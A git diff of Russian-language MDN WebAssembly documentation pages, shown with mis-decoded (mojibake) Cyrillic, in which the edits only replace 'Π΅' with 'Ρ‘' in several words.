<p>Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎΒ Π²Ρ‹Π·ΠΎΠ²Π°Β <code><a href="/en-US/docs/WebAssembly/API/Table/get">Table.prototype.get()</a></code> являСтся экспортированной Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ WebAssembly β€” это ΠΈΠΌΠ΅Π½Π½ΠΎ Ρ‚ΠΎ, ΠΎ Ρ‡Π΅ΠΌ ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ.</p>
-<p>Π‘Ρ‚ΠΎΠΈΡ‚ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΌΠΈΠΌΠΎ Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠ°ΠΌΠΈ для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉΒ WebAssembly, это ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ JavaScript. Если Π²Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Β <a href="/en-US/docs/WebAssembly#Browser_compatibility">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ с ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ WebAssembly</a>, ΠΈ запуститС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки Π² консоли:</p>
+<p>Π‘Ρ‚ΠΎΠΈΡ‚ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΌΠΈΠΌΠΎ Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠ°ΠΌΠΈ для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉΒ WebAssembly, это ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ JavaScript. Если Π²Ρ‹ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π²Β <a href="/en-US/docs/WebAssembly#Browser_compatibility">Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅ с ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ WebAssembly</a>, ΠΈ запуститС ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ строки Π² консоли:</p>
<pre class="brush: js">var testFunc = otherTable.get(0);
typeof testFunc;</pre>
@@ -70,5 +70,5 @@ typeof testFunc;</pre>
<ul>
<li>Π˜Ρ… свойство <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/length">length</a> это количСство аргумСнтов ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Ρ… Π² сигнатурС wasm Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</li>
<li>Π˜Ρ… свойство <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/name">name</a> являСтся Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²Π°Β <code>toString()</code> индСкса Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅Β wasm.</li>
- <li>Если Π²Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ wasm, которая ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΈΠ»ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠ° i64, Ρ‚ΠΎ это ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ошибкС, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² настоящСС врСмя JavaScript Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ способа прСдставлСния i64. Однако Π² Π΄Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠ΅ΠΌΒ ΡΡ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ - Π½ΠΎΠ²Ρ‹ΠΉ Ρ‚ΠΈΠΏ int64 рассматриваСтся для Π±ΡƒΠ΄ΡƒΡ‰ΠΈΡ… стандартов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ wasm.</li>
+ <li>Если Π²Ρ‹ ΠΏΠΎΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΡΠΊΡΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ wasm, которая ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΠΈΠ»ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠ° i64, Ρ‚ΠΎ это ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ошибкС, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π² настоящСС врСмя JavaScript Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ способа прСдставлСния i64. Однако Π² Π΄Π°Π»ΡŒΠ½Π΅ΠΉΡˆΠ΅ΠΌΒ ΡΡ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒΡΡ - Π½ΠΎΠ²Ρ‹ΠΉ Ρ‚ΠΈΠΏ int64 рассматриваСтся для Π±ΡƒΠ΄ΡƒΡ‰ΠΈΡ… стандартов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ wasm.</li>
</ul>
diff --git a/files/ru/webassembly/index.html b/files/ru/webassembly/index.html
index 84e0c56b57..0d5c9c5d30 100644
--- a/files/ru/webassembly/index.html
+++ b/files/ru/webassembly/index.html
@@ -13,7 +13,7 @@ translation_of: WebAssembly
<p dir="ltr">WebAssembly Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ для дополнСния JavaScript – ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ WebAssembly JavaScript API Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ WebAssembly Π² прилоТСния JavaScript ΠΈ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΠ²Π°Ρ‚ΡŒ взаимодСйствиС ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ±Ρ‰ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.Β Π’Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ позволяСт Π²Π°ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈ ΠΌΠΎΡ‰Π½ΠΎΡΡ‚ΡŒ WebAssembly, Π° Ρ‚Π°ΠΊΠΆΠ΅Β Π²Ρ‹Ρ€Π°Π·ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈ Π³ΠΈΠ±ΠΊΠΎΡΡ‚ΡŒ JavaScript Π² Π²Π°ΡˆΠΈΡ… прилоТСниях,Β Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ Π½Π΅ Π·Π½Π°Π΅Ρ‚Π΅ ΠΊΠ°ΠΊ ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ WebAssembly, Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π³ΠΎΡ‚ΠΎΠ²Ρ‹Π΅ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ.</p>
-<p dir="ltr">И Ρ‡Ρ‚ΠΎ Π΅Ρ‰Π΅ Π»ΡƒΡ‡ΡˆΠ΅, Ρ‚Π°ΠΊ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ WebAssembly разрабатываСтся ΠΊΠ°ΠΊ Π²Π΅Π±-стандарт <a href="https://www.w3.org/wasm/">W3C WebAssembly Working Group</a> ΠΈΒ <a href="https://www.w3.org/community/webassembly/">Community Group</a> ΠΏΡ€ΠΈ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΌ участии основных ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
+<p dir="ltr">И Ρ‡Ρ‚ΠΎ Π΅Ρ‰Ρ‘ Π»ΡƒΡ‡ΡˆΠ΅, Ρ‚Π°ΠΊ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ WebAssembly разрабатываСтся ΠΊΠ°ΠΊ Π²Π΅Π±-стандарт <a href="https://www.w3.org/wasm/">W3C WebAssembly Working Group</a> ΠΈΒ <a href="https://www.w3.org/community/webassembly/">Community Group</a> ΠΏΡ€ΠΈ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠΌ участии основных ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»Π΅ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
<div class="row topicpage-table">
<div class="section">
@@ -46,7 +46,7 @@ translation_of: WebAssembly
<dl>
<dt>{{jsxref("Global_objects/WebAssembly", "WebAssembly")}}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ являСтся пространством ΠΈΠΌΠ΅Π½ для всСх Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, связанных с WebAssembly.</dd>
+ <dd>Π­Ρ‚ΠΎΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ являСтся пространством ΠΈΠΌΡ‘Π½ для всСх Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, связанных с WebAssembly.</dd>
<dt>{{jsxref("Global_objects/WebAssembly/Module", "WebAssembly.Module()")}}</dt>
<dd>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>WebAssembly.Module</code> содСрТит Π½Π΅ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉΒ WebAssembly ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΆΠ΅ скомпилирован Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ эффСктивно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ совмСстно с<a href="/en-US/docs/Web/API/Worker/postMessage">Β Workers</a>, <a href="/en-US/docs/WebAssembly/Caching_modules">ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² IndexedDB</a>, ΠΈ ΠΈΠΌΠ΅Ρ‚ΡŒ нСсколько экзСмпляров.</dd>
<dt>{{jsxref("Global_objects/WebAssembly/Instance", "WebAssembly.Instance()")}}</dt>
@@ -58,11 +58,11 @@ translation_of: WebAssembly
<dt>{{jsxref("Global_objects/WebAssembly/Table", "WebAssembly.Table()")}}</dt>
<dd><code>WebAssembly.Table</code>Β ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ являСтся измСняСмым Ρ‚ΠΈΠΏΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ массивом Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ ссылки Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ доступны <code>Instance</code>.</dd>
<dt>{{jsxref("WebAssembly.CompileError()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ WebAssembly <code>CompileError</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ WebAssembly <code>CompileError</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</dd>
<dt>{{jsxref("WebAssembly.LinkError()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ WebAssembly <code>LinkError</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ WebAssembly <code>LinkError</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</dd>
<dt>{{jsxref("WebAssembly.RuntimeError()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ WebAssembly <code>RuntimeError</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ WebAssembly <code>RuntimeError</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</dd>
</dl>
</div>
</div>
@@ -96,7 +96,7 @@ translation_of: WebAssembly
<h2 id="Browser_compatibility" name="Browser_compatibility">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
<div>
-<div class="hidden">Π­Ρ‚Π° Ρ‚Π°Π±Π»ΠΈΡ†Π° совмСстимости автоматичСски создаСтся Π½Π° основС структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, поТалуйста, посСтитС <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° внСсСниС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ.</div>
+<div class="hidden">Π­Ρ‚Π° Ρ‚Π°Π±Π»ΠΈΡ†Π° совмСстимости автоматичСски создаётся Π½Π° основС структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, поТалуйста, посСтитС <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ запрос Π½Π° внСсСниС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ.</div>
<p>{{Compat("javascript.builtins.WebAssembly")}}</p>
</div>
diff --git a/files/ru/webassembly/loading_and_running/index.html b/files/ru/webassembly/loading_and_running/index.html
index a796cc7a30..20460d2e40 100644
--- a/files/ru/webassembly/loading_and_running/index.html
+++ b/files/ru/webassembly/loading_and_running/index.html
@@ -15,7 +15,7 @@ translation_of: WebAssembly/Loading_and_running
<h2 id="КакиС_Π΅ΡΡ‚ΡŒ_Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹">КакиС Π΅ΡΡ‚ΡŒ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Ρ‹?</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">WebAssembly Π΅Ρ‰Π΅ Π½Π΅ ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π° с </span></span> <code>&lt;script type='module'&gt;</code> <span class="tlid-translation translation" lang="ru"><span title="">ΠΈΠ»ΠΈ ES2015Β </span><span class="alt-edited" title="">ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ</span></span> <code>import</code>, <span class="tlid-translation translation" lang="ru"><span title="">поэтому Π½Π΅ сущСствуСт ΠΏΡƒΡ‚ΠΈ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° для использования ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">WebAssembly Π΅Ρ‰Ρ‘ Π½Π΅ ΠΈΠ½Ρ‚Π΅Π³Ρ€ΠΈΡ€ΠΎΠ²Π°Π½Π° с </span></span> <code>&lt;script type='module'&gt;</code> <span class="tlid-translation translation" lang="ru"><span title="">ΠΈΠ»ΠΈ ES2015Β </span><span class="alt-edited" title="">ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ</span></span> <code>import</code>, <span class="tlid-translation translation" lang="ru"><span title="">поэтому Π½Π΅ сущСствуСт ΠΏΡƒΡ‚ΠΈ, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰Π΅Π³ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° для использования ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°.</span></span></p>
<p><span class="tlid-translation translation" lang="ru"><span title="">Π‘Ρ‚Π°Ρ€Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹</span></span> {{jsxref("WebAssembly.compile")}}/{{jsxref("WebAssembly.instantiate")}} <span class="tlid-translation translation" lang="ru"><span title="">Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‚ создания </span></span>{{domxref("ArrayBuffer")}}, <span class="tlid-translation translation" lang="ru"><span title="">содСрТащСго Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» модуля WebAssembly послС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹Ρ… Π±Π°ΠΉΡ‚ΠΎΠ², Π° Π·Π°Ρ‚Π΅ΠΌ ΡΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ/ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π΅Π³ΠΎ экзСмпляр.</span></span> <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎ Π°Π½Π°Π»ΠΎΠ³</span></span> <code>new Function(string)</code>,<span class="tlid-translation translation" lang="ru"><span title=""> Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ замСняСм строку символов (исходный ΠΊΠΎΠ΄ JavaScript) Π±ΡƒΡ„Π΅Ρ€ΠΎΠΌ Π±Π°ΠΉΡ‚ΠΎΠ² массива (исходный ΠΊΠΎΠ΄ WebAssembly).</span></span></p>
diff --git a/files/ru/webassembly/rust_to_wasm/index.html b/files/ru/webassembly/rust_to_wasm/index.html
index 629987ff09..381d424bf0 100644
--- a/files/ru/webassembly/rust_to_wasm/index.html
+++ b/files/ru/webassembly/rust_to_wasm/index.html
@@ -22,7 +22,7 @@ translation_of: WebAssembly/Rust_to_wasm
<h2 id="Настройка_окруТСния_Rust">Настройка окруТСния Rust</h2>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ пройдСмся ΠΏΠΎ всСм ΠΏΡƒΠ½ΠΊΡ‚Π°ΠΌ,Β Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΌ для настройки нашСго окруТСния.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ пройдёмся ΠΏΠΎ всСм ΠΏΡƒΠ½ΠΊΡ‚Π°ΠΌ,Β Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΌ для настройки нашСго окруТСния.</p>
<h3 id="Установка_Rust">Установка Rust</h3>
@@ -55,12 +55,12 @@ Password:
Email: (this IS public) you@example.com
</code></pre>
-<p>Π’Π°ΠΌ понадобится ввСсти своС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ имя, ΠΏΠ°Ρ€ΠΎΠ»ΡŒΒ ΠΈ email. Если всС получится, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅:</p>
+<p>Π’Π°ΠΌ понадобится ввСсти своё ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ΅ имя, ΠΏΠ°Ρ€ΠΎΠ»ΡŒΒ ΠΈ email. Если всС получится, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅:</p>
<pre class="brush: bash notranslate"><code>Logged in as yournpmusername on https://registry.npmjs.org/.
</code></pre>
-<p>Если Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΏΠΎΠΉΠ΄Π΅Ρ‚ Π½Π΅ Ρ‚Π°ΠΊ, ΡΠ²ΡΠΆΠΈΡ‚Π΅ΡΡŒ с командой npm, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ.</p>
+<p>Если Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΏΠΎΠΉΠ΄Ρ‘Ρ‚ Π½Π΅ Ρ‚Π°ΠΊ, ΡΠ²ΡΠΆΠΈΡ‚Π΅ΡΡŒ с командой npm, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ.</p>
<h2 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_WebAssembly_npm-ΠΏΠ°ΠΊΠ΅Ρ‚Π°">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅Β WebAssembly npm-ΠΏΠ°ΠΊΠ΅Ρ‚Π°</h2>
@@ -111,7 +111,7 @@ pub fn greet(name: &amp;str) {
}
</code></pre>
-<p>Π­Ρ‚ΠΎ содСрТимоС нашСго ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° Π½Π° Rust. Π£ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ Ρ‚Ρ€ΠΈ основныС части, Π΄Π°Π²Π°ΠΉΡ‚Π΅ пройдСмся ΠΏΠΎ Π½ΠΈΠΌ ΠΏΠΎ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΠΈ. ΠœΡ‹ Π΄Π°Π΄ΠΈΠΌ здСсь обобщСнноС пояснСниС ΠΈ поясним Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅Ρ‚Π°Π»ΠΈ; Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒΒ Π±ΠΎΠ»ΡŒΡˆΠ΅Β ΠΎ Rust, поТалуйста, просмотритС Π±Π΅ΡΠΏΠ»Π°Ρ‚Π½ΡƒΡŽ online-ΠΊΠ½ΠΈΠ³ΡƒΒ <a href="https://doc.rust-lang.org/book/">The Rust Programming Language</a>.</p>
+<p>Π­Ρ‚ΠΎ содСрТимоС нашСго ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π° Π½Π° Rust. Π£ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ Ρ‚Ρ€ΠΈ основныС части, Π΄Π°Π²Π°ΠΉΡ‚Π΅ пройдёмся ΠΏΠΎ Π½ΠΈΠΌ ΠΏΠΎ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΠΈ. ΠœΡ‹ Π΄Π°Π΄ΠΈΠΌ здСсь обобщённоС пояснСниС ΠΈ поясним Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅Ρ‚Π°Π»ΠΈ; Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒΒ Π±ΠΎΠ»ΡŒΡˆΠ΅Β ΠΎ Rust, поТалуйста, просмотритС Π±Π΅ΡΠΏΠ»Π°Ρ‚Π½ΡƒΡŽ online-ΠΊΠ½ΠΈΠ³ΡƒΒ <a href="https://doc.rust-lang.org/book/">The Rust Programming Language</a>.</p>
<h4 id="ИспользованиС_wasm-bindgen_для_ΠΊΠΎΠΌΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΠΈ_ΠΌΠ΅ΠΆΠ΄Ρƒ_Rust_ΠΈ_JavaScript">ИспользованиС <code>wasm-bindgen</code> для ΠΊΠΎΠΌΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΠΈΒ ΠΌΠ΅ΠΆΠ΄Ρƒ Rust ΠΈ JavaScript</h4>
@@ -144,13 +144,13 @@ extern {
}
</code></pre>
